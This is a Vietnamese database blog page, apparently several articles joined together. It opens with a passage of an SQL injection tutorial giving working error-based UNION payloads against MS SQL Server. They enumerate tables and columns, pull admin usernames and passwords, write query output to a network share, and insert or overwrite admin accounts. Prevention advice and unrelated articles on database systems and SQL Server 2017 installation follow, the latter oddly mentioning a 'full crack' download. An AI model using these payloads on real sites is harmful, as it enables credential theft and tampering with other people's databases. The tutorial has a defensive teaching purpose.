2.5 Nhập Output của SQL query

Bạn có thể dùng sp_makewebtask để viết các output của SQL query ra file HTML

‘; EXEC master..sp_makewebtask “\\10.10.1.3\share\output.html”, “SELECT * FROM INFORMATION_SCHEMA.TABLES”

2.6 Nhận dữ liệu qua ‘database using ODBC error message’

Bạn có thể phát hiện các thông báo lỗi của MS SQL Server để có những thông tin quan trọng. Ví dụ http://yoursite.com/index.asp?id=10, bây giờ chúng ta thử hợp nhất integer ’10’ với một string khác lấy từ cơ sở dữ liệu:

http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES–

Trường INFORMATION_SCHEMA.TABLES của SQL Server chứa thông tin về toàn bộ các bảng (table) có trên server. Trường TABLE_NAME chứa tên của mỗi bảng trong cơ sở dữ liệu. Query của tôi là:

SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES–

Dòng lệnh này sẽ cho bạn biết tên của bảng đầu tiên trong cơ sở dữ liệu

Khi chúng ta kết hợp chuỗi này với số integer 10 qua statement UNION. Lúc này MS SQL Server sẽ cố thử chuyển một string (nvarchar) thành một số integer. Điều này sẽ gặp lỗi nếu như không chuyển được nvarchar sang int, server sẽ hiện thông báo lỗi sau:

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value

‘table1’ to a column of data type int.

/index.asp, line 5

Thông báo lỗi trên cho biết giá trị muốn chuyển sang integer nhưng không được, “table1”. Đây cũng chính là tên của bảng đầu tiên trong CSDL mà chúng ta đang muốn có.

Để lấy tên của bảng tiếp theo, có thể dùng lệnh sau:

http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN (‘table1’)–

Cũng có thể thử tìm data bằng cách thông qua statement LIKE của query SQL:

http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE ‘%25login%25’–

Khi đó thông báo lỗi của SQL Server sẽ là:

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘admin_login’ to a column of data type int.

/index.asp, line 5

Mẫu so sánh ‘%25login%25’ sẽ tương đương với %login% trong SQL Server. Như thấy trong thông báo lỗi trên, chúng ta có thể xác định được tên của một table quan trọng là “admin_login”.

2.7 Xác định tên của các cột trong table

Bảng INFORMATION_SCHEMA.COLUMNS chứa tên của tất cả các cột trong bảng. Tôi có thể khai thác như sau:

http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=’admin_login’–

Khi đó thông báo lỗi của SQL Server thường là:

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘login_id’ to a column of data type int.

/index.asp, line 5

Như vậy tên của cột đầu tiên là “login_id”. Để lấy tên của các cột tiếp theo, có thể dùng mệnh đề logic NOT IN () như sau:

http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=’admin_login’ WHERE COLUMN_NAME NOT IN (‘login_id’)–

Thông báo lỗi của SQL Server có thể:

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘login_name’ to a column of data type int.

/index.asp, line 5

Làm tương tự như trên, có thể lấy được tên của các cột còn lại như “password”, “details”. Khi đó ta lấy tên của các cột này qua các thông báo lỗi của SQL Server, như ví dụ sau:

http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=’admin_login’ WHERE COLUMN_NAME NOT IN (‘login_id’,’login_name’,’password’,details’)–

Thông báo lỗi của SQL Server:

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e14’

[Microsoft][ODBC SQL Server Driver][SQL Server]ORDER BY items must appear in the select list if the statement contains a UNION operator.

/index.asp, line 5

2.8 Tiến hành thu thập các dữ liệu quan trọng

Bước trên tôi đã có thể xác định được tên của các bảng và cột quan trọng. Lúc này chúng ta cần thu thập các thông tin quan trọng trong bảng đó.

Có thể lấy login_name đầu tiên trong table “admin_login” như qua dòng lệnh sau:

http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 login_name FROM admin_login–

Thông báo lỗi của SQL Server có thể là:

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘neo’ to a column of data type int.

/index.asp, line 5

Tôi nhận ra admin user đầu tiên có login_name là “neo”. Lúc này tôi thử lấy password của “neo” như sau:

http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name=’neo’–

Khi đó thông báo lỗi của SQL Server có thể là:

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘neomatrix’ to a column of data type int.

/index.asp, line 5

Well vậy là tôi đã có thể đăng nhập vào website với username là “neo” và password là “neomatrix”

2.9 Nhận các numeric string

Có một hạn chế nhỏ đối với phương pháp trên. Chúng ta không thể nhận được các error message nếu server có thể chuyển text đúng ở dạng số (text chỉ chứa các kí tự số từ 0 đến 9). Giả sử như password của “trinity” là “31173”. Vậy nếu ta thi hành lệnh sau:

http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name=’trinity’–

Thì khi đó chỉ nhận được thông báo lỗi “Page Not Found”. Lý do bởi vì server có thể chuyển passoword “31173” sang dạng số trước khi UNION với integer 10. Để giải quyết vấn đề này, chúng ta có thể thêm một vài kí tự alphabet vào numeric string này để làm thất bại sự chuyển đổi từ text sang số của server. Dòng query mới như sau:

http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 convert(int, password%2b’%20morpheus’) FROM admin_login where login_name=’trinity’–

Chúng ta dùng dấu cộng (+) để nối thêm text vào password (ASCII code của ‘+’ là 0x2b). Chúng ta thêm chuỗi ‘(space)morpheus’ vào cuối password để tạo ra một string mới không phải numeric string là ‘31173 morpheus’. Khi hàm convert() được gọi để chuyển ‘31173 morpheus’ sang integer, SQL server sẽ phát lỗi ODBC error message sau:

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘31173 morpheus’ to a column of data type int.

/index.asp, line 5

Và nghĩa là bây giờ ta cũng có thể login vào với username ‘trinity’ và password là ‘31173’

2.10 Thay đổi dữ liệu (Update/Insert) của CSDL

Khi đã có thông tin của tất cả các cột trong bảng, tôi có thể sử dụng lệnh UPDATE hoặc INSERT để sửa đổi/tạo mới một record vào bảng này.

Để thay đổi password của “neo”, có thể làm như sau:

http://yoursite.com/index.asp?id=10; UPDATE ‘admin_login’ SET ‘password’ = ‘neomatpass’ WHERE login_name=’neo’–

Hoặc nếu không tôi sẽ tạo một record mới vào bảng:

http://yoursite.com/index.asp?id=10; INSERT INTO ‘admin_login’ (‘login_id’, ‘login_name’, ‘password’, ‘details’) VALUES (666,’neo2′,’neomatpass’,’NA’)–

Và bây giờ có thể login vào với username “neo2” và password là “neomatpass”

3. Cách thức ngăn chặn SQL Injection

Xác nhận input

Quá trình xác nhận nhằm mục đích xác minh xem loại input được gửi bởi người dùng có được phép hay không. Xác thực input đảm bảo rằng đó là loại, độ dài, định dạng được chấp nhận, v.v. Website chỉ xử lý giá trị vượt qua xác thực.Điều này giúp chống lại bất kỳ lệnh nào được chèn khi input. Hiểu đơn giản là bạn sẽ biết ai là người gõ cửa nhà bạn vậy đó.

Việc này không chỉ áp dụng vào trường cho phép người dùng nhập dữ liệu, bạn cũng nên cân bằng:

  • Sử dụng các biểu thức thông thường như whitelist cho dữ liệu có cấu trúc (tên, tuổi, thu nhập, phản hồi khảo sát, mã zip, v.v.) để đảm bảo xác thực input của bạn mạnh.
  • Trong trường hợp tập hợp các giá trị cố định (drop-down list, radio button, v.v.), hãy xác định giá trị nào được trả về. Dữ liệu đầu vào phải khớp chính xác với một trong các tùy chọn được bạn cung cấp.

Bạn có thể áp dụng đoạn code này để thực hiện xác thực table:

switch ($tableName) {

case ‘fooTable’: return true;

case ‘barTable’: return true;

default: return new BadMessageException(‘unexpected value provided as table name’);

}

Biến $tableName sau đó có thể được nối trực tiếp.

Trong trường hợp drop down list, việc xác thực dữ liệu rất dễ dàng. Giả sử bạn muốn người dùng chọn xếp hạng từ 1 đến 5, hãy thay đổi mã PHP thành một cái gì đó như thế này:

<?php

if(isset($_POST[“selRating”]))

{

$number = $_POST[“selRating”];

if((is_numeric($number)) && ($number > 0) && ($number < 6))

{

echo “Selected rating: ” . $number;

}

else

echo “The rating has to be a number between 1 and 5!”;

}

Bạn đã thêm hai cách check đơn giản:

  • Nó phải là một số (the is_numeric() function).
  • Bạn yêu cầu $number đó phải lớn hơn 0 và nhỏ hơn 6, do vậy bạn có phạm vi là 1-5.

Truy vấn tham số (Parametrized queries)

Truy vấn tham số hiểu đơn giản là một phương tiện biên dịch câu lệnh SQL để khi cung cấp các tham số để câu lệnh được thực thi. Phương pháp này giúp CSDL có thể nhận ra mã và phân việt với dữ liệu đầu vào.

Kiểu mã hóa này giúp giảm thiểu một cuộc tấn công SQL Injection

Có thể sử dụng các truy vấn được tham số hóa với phần mở rộng MySQLi, nhưng PHP 5.1 cách tiếp cận tốt hơn khi làm việc với CSDL: Đối tượng dữ liệu PHP (PDO). PDO áp dụng các phương pháp như vậy để đơn giản hóa việc sử dụng các truy vấn được tham số hóa.

Ngoài ra, nó làm cho code dễ đọc hơn và dễ di chuyển hơn vì nó hoạt động trên một số cơ sở dữ liệu, không chỉ MySQL.

Mã này sử dụng PDO với các truy vấn được tham số hóa để ngăn ngừa lỗ hổng SQL Injection:

<?php

$id = $_GET[‘id’];

$db_connection = new PDO(‘mysql:host=localhost;dbname=sql_injection_example’, ‘dbuser’, ‘dbpasswd’);

//preparing the query

$sql = “SELECT username

FROM users

WHERE id = :id”;

$query = $db_connection->prepare($sql);

$query->bindParam(‘:id’, $id);

$query->execute();

//getting the result

$query->setFetchMode(PDO::FETCH_ASSOC);

$result = $query->fetchColumn();

print(htmlentities($result));

Ngoài ra còn có các phòng tránh khác như:

  • Escaping: luôn sử dụng các hàm có escaping. Ví dụ sử dụng mysql_real_escape_opes () để tránh các ký tự dẫn đến lệnh SQL ngoài ý muốn.
  • Tránh các đặc quyền của Admin: Không kết nối ứng dụng của bạn với cơ sở dữ liệu bằng tài khoản có quyền truy cập root.
  • Giới hạn quyền các user đụng đến CSDL của website
  • Xóa các stored procedure trong database master mà không dùng như:
    • xp_cmdshell
    • xp_startmail
    • xp_sendmail
    • sp_makewebtask
  • Sử dụng WAF (web application firewall) để bảo vệ website khỏi SQL Injection hay các cuộc tấn công bằng thủ thuật khác.

Lỗi SQL injection là gì?Ngăn chặn SQL Injection trong ASP.NET

Ngoài các cách thức mà tôi vừa gửi đến bạn thì trong ASP.NET có cách chặn easy hơn là sử dụng Parameters khi thao tác với object SqlCommand (hoặc OleDbCommand) chứ không trực tiếp dụng các câu lệnh SQL.

Lúc này ASP.NET sẽ tự động xác nhận kiểu dữ liệu, nội dung dữ liệu trước khi thực hiện tiếp câu lệnh SQL.

Ngoài ra, bạn cũng cần kiểm tra các thông báo lỗi. Mặc định trong ASP.NET là các thông báo lỗi sẽ không hiển thị khi không chạy trên local host.

Như vậy là tôi đã giới thiệu cho bạn về SQL Injection là gì và lỗi SQL Injection là gì? Nếu còn thắc mắc nào về tấn công sql injection là gì? Bạn có thể tìm đọc các bài viết tiếp theo của tôi nhé.

 

Categories
Hệ quản trị SQL

Hệ quản trị cơ sở dữ liệu là gì? Những loại quản trị cơ sở dữ liệu phổ biến

Một trong các khái niệm mà dân lập trình bắt buộc phải biết và cần nắm rõ đó là hệ quản trị cơ sở dữ liệu. Tuy nhiên, đối với những người mới bắt đầu học lập trình thì hệ quản trị cơ sở dữ liệu còn là một khái niệm khá mơ hồ đối với họ. Vì vậy, trong bài viết này chúng tôi sẽ giới thiệu với các bạn về hệ quản trị cơ sở dữ liệu là gì và các hệ quản trị cơ sở dữ liệu phổ biến hiện nay.

1. Hệ quản trị cơ sở dữ liệu là gì

Hệ quản trị cơ sở dữ liệu là một khái niệm trong lĩnh vực công nghệ thông tin. Đây là thuật ngữ được dùng để chỉ các chương trình, phần mềm có tác dụng lưu trữ dữ liệu mà vẫn đảm bảo được các tính chất của cấu trúc trong cơ sở dữ liệu. Bên cạnh đó, hệ quản trị cơ sở dữ liệu cũng cung cấp cho người sử dụng nhiều tính năng hữu ích để hỗ trợ quá trình đọc, thêm, xóa, sửa dữ liệu trên cơ sở dữ liệu.

2. Chức năng của hệ quản trị cơ sở dữ liệu

Bạn đang thắc mắc chức năng của hệ quản trị cơ sở dữ liệu là gì? Dưới đây là các chức năng của hệ quản trị cơ sở dữ liệu:

  • Thực hiện lưu trữ các dữ liệu
  • Tạo và duy trì cơ sở dữ liệu
  • Cho phép cùng lúc nhiều người dùng truy xuất
  • Hỗ trợ bảo mật và riêng tư
  • Cho phép người dùng được xem và thực hiện xử lý dữ liệu
  • Cho phép người dùng được cập nhật và lưu trữ các dữ liệu sau khi đã cập nhập
  • Cung cấp tính nhất quán giữa các bản ghi khác nhau
  • Giúp việc truy cập các dữ liệu được chọn nhanh hơn bằng cách cung cấp một cơ chế chỉ mục index hiệu quả
  • Bảo vệ dữ liệu, tránh được tình trạng mất dữ liệu khi thực hiện sao lưu – backup hoặc phục hồi – recovery

3. Vai trò của hệ quản trị cơ sở dữ liệu

Ở trên chúng tôi đã giới thiệu cho các bạn hệ cơ sở dữ liệu là gì và trong nội dung tiếp theo này chúng tôi sẽ chia sẻ cho các bạn biết vai trò của nó. Một hệ quản trị cơ sở dữ liệu có 3 vai trò chính, đó là:

  • Cung cấp môi trường tạo lập cơ sở dữ liệu: Nhắc đến vai trò của hệ quản trị cơ sở dữ liệu thì không thể nhắc tới khả năng này. Vai trò của các hệ quản trị cơ sở dữ liệu đó chính là cung cấp cho người dùng một ngôn ngữ định nghĩa dữ liệu để cho họ có thể tự mô tả, khai báo kiểu và cấu trúc của dữ liệu
  • Cung cấp cách cập nhật và khai thác dữ liệu: Các hệ quản trị cơ sở dữ liệu sql có nhiệm vụ cung cấp cho người dùng ngôn ngữ thao tác dữ liệu để họ có thể diễn tả các yêu cầu cũng như thực hiện các thao tác cập nhật, khai thác CSDL. Những thao tác dữ liệu mà người dùng có thể thực hiện là nhập, sửa và xóa dữ liệu. Còn các khai thác dữ liệu bao gồm tìm kiếm và kết xuất dữ liệu
  • Cung cấp các công cụ kiểm soát và điều khiển các truy cập vào cơ sở dữ liệu: Đây là một trong các vai trò rất quan trọng của hệ quản trị cơ sở dữ liệu. Mục đích là để đảm bảo thực hiện một số yêu cầu cơ bản của hệ quản trị cơ sở dữ liệu. Các yêu cầu đó gồm:
    • Đảm bảo an ninh và kịp thời phát hiện, thực hiện các hành động để ngăn chặn sự truy cập bất hợp phát
    • Duy trì được tính nhất quán của dữ liệu
    • Tổ chức, điều khiển các truy cập dữ liệu
    • Có thể khôi phục lại được cơ sở dữ liệu khi xảy ra các sự cố về phần cứng hoặc phần mềm
    • Quản lý các mô tả dữ liệu

4. Các vấn đề cần xử lý trong hệ quản trị cơ sở dữ liệu sql server

Hệ quản trị cơ sở dữ liệu sẽ cần phải lưu ý một số điểm sau bởi trong quá trình lưu giữ thông tin có tổ chức trong hệ thống xử lý file thông thường

 

Sự dư thừa dữ liệu và tính không nhất quán

Sự dư thừa dữ liệu và tính không nhất quán (Data redundancy and inconsistency): Có rất nhiều người dùng truy cập vào hệ quản trị cơ sở dữ liệu. Trong quá trình truy cập họ có thể tạo ra các file và các trình ứng dụng.

Do đó, các file có thể ở những định dạng không giống nhau và các chương trình cũng có thể được viết trong các ngôn ngữ lập trình khác nhau, các thông tin sẽ được lưu trữ tại nhiều file.

Điều này tạo nên sự không thống nhất và dư thừa dữ liệu khiến cho chi phí truy xuất và lưu trữ tăng cao. Đồng thời nó cũng dẫn đến tình trạng không nhất quán dữ liệu, tức các bản sao cùng một dữ liệu có thể không nhất quán với nhau

Các vấn đề có thể kể tới như:

  • Truy xuất dữ liệu khó khăn: Việc truy xuất dữ liệu có thể gặp phải nhiều khó khăn do môi trường của hệ thống xử lý file thông thường không cung cấp các công cụ hỗ trợ để giúp việc truy xuất dữ liệu trở nên đơn giản, hiệu quả
  • Sự cô lập dữ liệu (Data isolation): Các giá trị dữ liệu muốn được lưu trong cơ sở dữ liệu thì bắt buộc nó phải thỏa mãn được một số yêu cầu ràng buộc về tính nhất quán của dữ liệu – consistency constraints.

Tuy nhiên, việc thay đổi các chương trình trong những file thông thường để có thể thỏa mãn được các yêu cầu thay đổi ràng buộc là rất khó khăn. Và nó càng trở nên khó khăn hơn nếu các ràng buộc này có liên quan tới những hạng mục dữ liệu thuộc các file khác nhau

Các vấn đề về tính nguyên tử (Atomicity problems)

Đây cũng là một trong các vấn đề mà hệ quản trị cơ sở dữ liệu sql server cần xử lý. Trước hết các bạn cần phải hiểu được tính nguyên tử của một hoạt động hay giao dịch là nó được hoàn tất trọn vẹn hoặc không có gì cả.

Như vậy, một hoạt động hay giao dịch phải hoàn tất, tức đã kết thúc thành công mới có thể làm thay đổi được các dữ liệu bền vững.

Ngược lại, các hoạt động hay giao dịch sẽ không để lại trên cơ sở dữ liệu bất kỳ một dấu vết nào. Tuy nhiên, ở trên các hệ thống xử lý file thông thường tính chất này rất khó để đảm bảo

  • Tính bất thường trong tuy xuất cạnh tranh: Như đã nói, hệ quản trị csdl cho phép nhiều người dùng có thể đồng thời sử dụng, truy cập và cập nhật dữ liệu. Cũng bởi vậy mà có thể dẫn tới việc dữ liệu không nhất quán. Do đó, cần tới một sự giám sát chặt chẽ. Tuy nhiên, hệ thống xử lý file thông thường không có chức năng này
  • Vấn đề an toàn (Security problems): Thông thường, một người khi sử dụng hệ cơ sở dữ liệu họ sẽ không cần thiết, đồng thời cũng không có quyền được truy xuất vào toàn bộ dữ liệu trên hệ cơ sở dữ liệu đó. Do đó, hệ thống phải đảm bảo được sự phân quyền cho người dùng, chống sự truy cập dữ liệu trái phép,…

 

Chính các bất lợi cần phải được xử lý trong hệ quản trị cơ sở dữ liệu vừa nêu trên đã gợi mở cho sự phát triển của DBMS.

5. Các hệ quản trị cơ sở dữ liệu phổ biến

5.1. Hệ quản trị cơ sở dữ liệu MySQL

Một trong các hệ quản trị cơ sở dữ liệu sql được sử dụng vô cùng phổ biến đó chính là MySQL. Đây là một SQL Database do Swedish nghiên cứu và phát triển. Hệ quản trị này được xây dựng bởi mã nguồn mở. Ưu điểm của hệ quản trị cơ sở dữ liệu MySQL đó chính là nó có thể hỗ trợ trên rất nhiều nền tảng khác nhau, ví dụ như Microsoft, Linux, Windows, Mac OS X,…

Hệ quản trị cơ sở dữ liệu sql thường gặp.

Hiện nay, MySQL có cả gói miễn phí lẫn gói tính phí dành cho người dùng lựa chọn. Tùy theo mục đích và nhu cầu sử dụng của mỗi người mà các bạn có thể lựa cho mình gói MySQL phù hợp. Tuy nhiên, gói khuyến mãi sẽ có tương đối nhiều điểm hạn chế nên nếu các bạn không yêu cầu quá cao, nhu cầu sử dụng không lớn thì có thể gói miễn phí đã đủ đáp ứng nhu cầu sử dụng rồi.

Thông thường, hệ quản trị MySQL sẻ đi kèm với một SQL Database Server. Do đó, hệ quản trị này hoạt động rất nhanh, được tối ưu tốt và đa luồng, đa người dùng. Các tính năng và hoạt động hiệu quả hệ quản trị cơ sở dữ liệu này cũng rất tốt.

5.2. Hệ quản trị cơ sở dữ liệu MS Access

Nhắc đến các hệ quản trị cơ sở dữ liệu được sử dụng phổ biến thì không thể bỏ qua được hệ quản trị cơ sở dữ liệu MS Access. Đây là hệ quản trị được phát triển bởi Microsoft và là phần mềm quản lý CSDL entry – level.

Phần mềm này khi sử dụng cho các dự án có quy mô nhỏ chúng hoạt động vô cùng mạnh mẽ và hiệu quả. Tuy nhiên, mức chi phí để sở hữu phần mềm này thì không hề rẻ.

Hệ cơ sở dữ liệu MS Access dễ sử dụng.

Đặc điểm của phần mềm quản trị cơ sở dữ liệu MS Access đó là sử dụng JET Database engine, hỗ trợ ngôn ngữ SQL cụ thể. Cũng có một số nơi coi MS Access như là JET SQL.

Hệ quản trị cơ sở dữ liệu này thường được đi kèm với MS Office package. Giao diện trực quan, dễ nhìn, dễ sử dụng và đặc biệt là luôn có đội ngũ forums hỗ trợ 24/7.

5.3. Hệ quản trị cơ sở dữ liệu MS SQL Server

MS SQL Server cũng là một hệ quản trị cơ sở dữ liệu được sử dụng rất phổ biến. Hệ quản trị này được nghiên cứu và phát triển bởi Microsoft Inc.

Vào năm 1989, MS SQL Server chính thức được ra mắt. Ngôn ngữ truy vấn đầu tiên của hệ quản trị cơ sở dữ liệu này là T-SQL hay ANSI SQL. Sau nhiều năm, MS SQL Server vẫn luôn nằm trong top các hệ quản trị cơ sở dữ liệu được sử dụng phổ biến nhất.

MS SQL Server có khả năng quản trị cơ sở dữ liệu chuyên nghiệp.

Một số tính năng của hệ quản trị csdl MS SQL Server là:

– Có thể hoạt động tốt trên hệ điều hành Windows và Linux

– Có thể tương thích với Oracle

– Cung cấp và quản lý khối lượng công việc hiệu quả

– Cho phép cùng lúc nhiều người dùng chung một cơ sở dữ liệu

5.4. Hệ quản trị csdl Oracle

Oracle cũng là một hệ quản trị csdl được sử dụng rất phổ biến. Hệ quản trị csdl này lấy tên từ một hãng phần mềm. Sau nhiều năm phát triển, hệ quản trị csdl Oracle đã trở thành phần mềm vô cùng nổi tiếng.

Orale khởi đầu đầu từ một phần mềm cơ sở dữ liệu cách đây khoảng hơn 50 năm. Tính tới nay, bên cạnh Oracle Database Server thì Oracle còn phát triển và cung cấp rất nhiều sản phẩm khác để phục vụ cho các doanh nghiệp.

5.5. Hệ cơ sở dữ liệu SQlite

Hệ cơ sở dữ liệu SQlite được D.Richard Hipp thiết kế và ra mắt vào năm 2000. Đây là một hệ thống cơ sở dữ liệu tương đối nhỏ gọn nhưng vẫn rất hoàn chỉnh, cho phép cài đặt nhiều ứng dụng khác nhau ở bên trong. Hệ quản trị cơ sở dữ liệu này được viết bởi ngôn ngữ lập trình C.

Về cơ bản SQlite cũng tương tự như MySQL, PostgreSQL,… Phần mềm chưa tới 400KB và người dùng không cần cài đặt, cấu hình hay khởi động mà có thể sử dụng ngay.

Tuy nhiên, phần mềm này chỉ phù hợp với những quy mô nhỏ hoặc trong các cuộc thử nghiệm, phát triển, đặc biệt là cho người mới bắt đầu học về Database nó mới không tỏ ra yếu kém về chức năng và tốc độ.

Rất nhiều người lựa chọn sử dụng SQlite bởi nó không yêu cầu một tiến trình Server riêng rẽ để hoạt động, cũng không cần cấu hình, cài đặt và có thể dễ dàng lưu trữ trong một disk file đơn. Phần mềm này thường đã có sẵn trên UNIX (Linux, Mac OS-X, Android, iOS) và Windows (Win32, WinCE, WinRT).

5.6. Quản trị cơ sở dữ liệu với PostgreSql

Cũng nằm trong top các hệ quản trị cơ sở dữ liệu được sử dụng phổ biến đó chính là PostgreSql. Hệ quản trị csdl này thường kết hợp với module Postgis giúp hỗ trợ tốt trong việc lưu trữ dữ liệu không gian.

PostgreSql có một số tính năng cơ bản như: Đảm bảo an toàn cho dữ liệu, truy xuất nhanh dữ liệu, sử dụng csdl quan hệ đối tượng, có thể hoạt động tốt trên hệ điều hành Windows và Linux, có thể chia sẻ dữ liệu trang tổng quan nhanh,…

5.7. Hệ quản trị cơ sở dữ liệu MongoDB

Hệ quản trị MongoDB là một mã nguồn mở, viết bởi ngôn ngữ C++. MongoDB dùng cơ chế NoSQL, có khả năng xử lý lượng dữ liệu lớn và cho phép người dùng được sử dụng bộ nhớ trong để truy cập dữ liệu dễ hơn.

5.8. Hệ cơ sở dữ liệu Redis

Redis cũng là một hệ quản trị csdl được sử dụng phổ biến không kém 7 hệ quản trị csdl chúng tôi vừa giới thiệu. Hệ quản trị cơ sở dữ liệu này cũng được phát triển theo phong cách NoSQL. Đây được biết đến là một hệ thống lưu trữ key value.

Nó có rất nhiều tính năng hữu ích và được sử dụng vô cùng rộng rãi. Đặc điểm nổi bật nhất của hệ cơ sở dữ liệu Redis chính là có thể hỗ trợ nhiều cấu trúc cơ bản và cho phép scripting bằng ngôn ngữ lua.

Vừa rồi chúng tôi đã giới thiệu tới các bạn khái niệm hệ quản trị cơ sở dữ liệu và các chức năng, vai trò cũng như những hệ quản trị cơ sở dữ liệu đang được sử dụng phổ biến nhất hiện nay. Tùy vào nhu cầu và mục đích sử dụng của bản thân mà các bạn có thể cân nhắc lựa chọn sử dụng một hệ quản trị cơ sở dữ liệu phù hợp.

Đến đây, chắc bạn không phải thắc mắc hệ quản trị cơ sở dữ liệu là gì nữa đúng không nào. Hy vọng những kiến thức bổ ích từ bài viết của chúng tôi sẽ giúp bạn chọn được hệ quản trị cơ sở dữ liệu phù hợp.

 

Categories
Hệ quản trị SQL

Hướng dẫn cài đặt sql server 2017 chi tiết

Microsoft SQL Server được đánh giá là phần mềm giúp mỗi người quản trị cơ sở dữ liệu tốt nhất hiện nay, đang được sử dụng rộng rãi trong học tập và công việc. Theo đó, rất nhiều người quan tâm đến việc cài đặt key sql server 2017. Dưới đây là những hướng dẫn cài đặt sql server 2017 mới nhất và hiệu quả nhất cho khách hàng.

Những yêu cầu hệ thống khi cài đặt sql server 2017

Hiện nay, trước khi cài đặt hệ quản trị cơ sở dữ liệu SQL Server thì bạn có thể có 3 lựa chọn khác nhau cần tham khảo đó chính là: Trial evaluation (Phiên bản đánh giá thử nghiệm), Developer edition là phiên bản này dành cho nhà phát triển còn Express edition là phiên bản Express.

Theo đó, mỗi phiên bản cơ sở dữ liệu sẽ có một đặc điểm riêng và tạo nên những cơ sở dữ liệu khác biệt:

Phiên bản SQL Server trial evaluation: Đây chính là phiên bản miễn phí có đầy đủ tất cả các tính năng cơ sở dữ liệu quan trọng. Do đó, nếu bạn muốn kiểm tra bất kỳ một tính năng nào đó hoặc tất cả các tính năng quan trọng thì đây sẽ là một phiên bản cực kỳ hoàn hảo.

Thông thường, thời gian dùng thử của phiên bản quản trị cơ sở dữ liệu sql server 2017 key là 180 ngày. Tuy nhiên, bạn có thể mua giấy phép Doanh nghiệp hoặc Giấy phép tiêu chuẩn sau đó. Hãy sử dụng phiên bản này nếu bạn dự định mua một trong hai loại giấy phép sau đó.

Sql server 2017 key có những ưu điểm vượt trội.

Phiên bản SQL Server Developer: Đây chính là phiên bản miễn phí, nhưng bạn không thể sử dụng nó trong quá trình sản xuất. Đối với hướng dẫn này, bạn nên sử dụng phiên bản cơ sở dữ liệu SQL Server Developer edition. Bạn nên tăng cường sử dụng nó cho mục đích phát triển hoặc cho mục đích đào tạo nào đó. Nó cũng được xem là bao gồm tất cả các tính năng cần có của phiên bản này.

Phiên bản SQL Server Express: Đây chính là phiên bản miễn phí và có thể được sử dụng trong sản xuất. Tuy nhiên, nó có một giới hạn lưu trữ (10GB) và nó không bao gồm một số tính năng (như SQL Server Agent, DTA, v.v…). Bạn nên thực hiện và ứng dụng phiên bản này nếu không cần quá nhiều dung lượng ổ đĩa hoặc tài nguyên cơ sở dữ liệu có trong máy.

Bạn cần làm gì trước khi cài đặt sql server 2017

Hiện nay, SQL Server sẽ hỗ trợ hai hình thức cài đặt đó chính là cài trên một máy tính đơn và cài trên hệ thống Cluster. Do đó, chúng ta đang học nên sử dụng hình thức cài trên máy đơn.

Tùy vào mỗi phiên bản mà sẽ có yêu cầu khác nhau. Do đó, trước khi tiến hành cài đặt hệ cơ sở dữ liệu sql server 2017, bạn có thể cần phải kiểm tra kỹ máy tính của mình và có đáp ứng đầy đủ những yêu cầu quan trọng như:

  1. Kiểm tra kỹ về quyền admin cài đặt mọi phần mềm hay không
  2. Kiểm tra RAM, CPU và DISK có đầy đủ hay không
  3. Phiên bản 2005 thì cần net framework 2.0
  4. Phiên bản 2008 & 2008 R2 thì cần net framework 3.5 SP1 và Windows installer 4.5/later
  5. Phiên bản 2012 & 2014 trở lên thì cần.net framework 4.0, Windows PowerShell 2.0 và Windows installer 4.5/later
  6. Bạn nên cài SQL Server trước khi cài Microsoft Visual Studio để tránh sự xung đột

Hướng dẫn cài sql server 2017

Để thực hiện cài đặt hệ cơ sở dữ liệu sql server 2017 key, chúng ta sẽ tiến hành theo đúng các công đoạn với quy trình cụ thể như:

  1. Bước 1: Tiến hành truy cập vào đường links để download sql server 2017 full crack https://www.microsoft.com/en-us/sql-server/sql-server-downloads để tải về. Tiếp đến, nên chọn một trong hai phiên bản Developer hoặc Express.
  2. Bước 2: Hãy tiến hành việc chạy file SQLServer mà bạn vừa tải về bằng cách nhấn đúp vào file, nếu phần Window hỏi bạn có muốn cài đặt không thì hãy chọn YES và tiếp tục thực hiện những hướng dẫn của bài viết.
  3. Bước 3: Tiếp đến quá trình cài đặt bắt đầu, bạn nên hãy chờ trong vài giây và sau đó xuất hiện ô cửa sổ thì bạn hãy chọn Basic. Đây chính là option giúp bạn có thể có đầy đủ tính năng để học tập để phục vụ cho công việc của mình.
  4. Bước 4: Tiếp đến, phần thống sẽ bắt đầu hiển thị một số thông tin quan trọng trước khi thực hiện cài đặt, bạn hãy click Accept để  đồng ý với nó là đã đọc và hiểu.

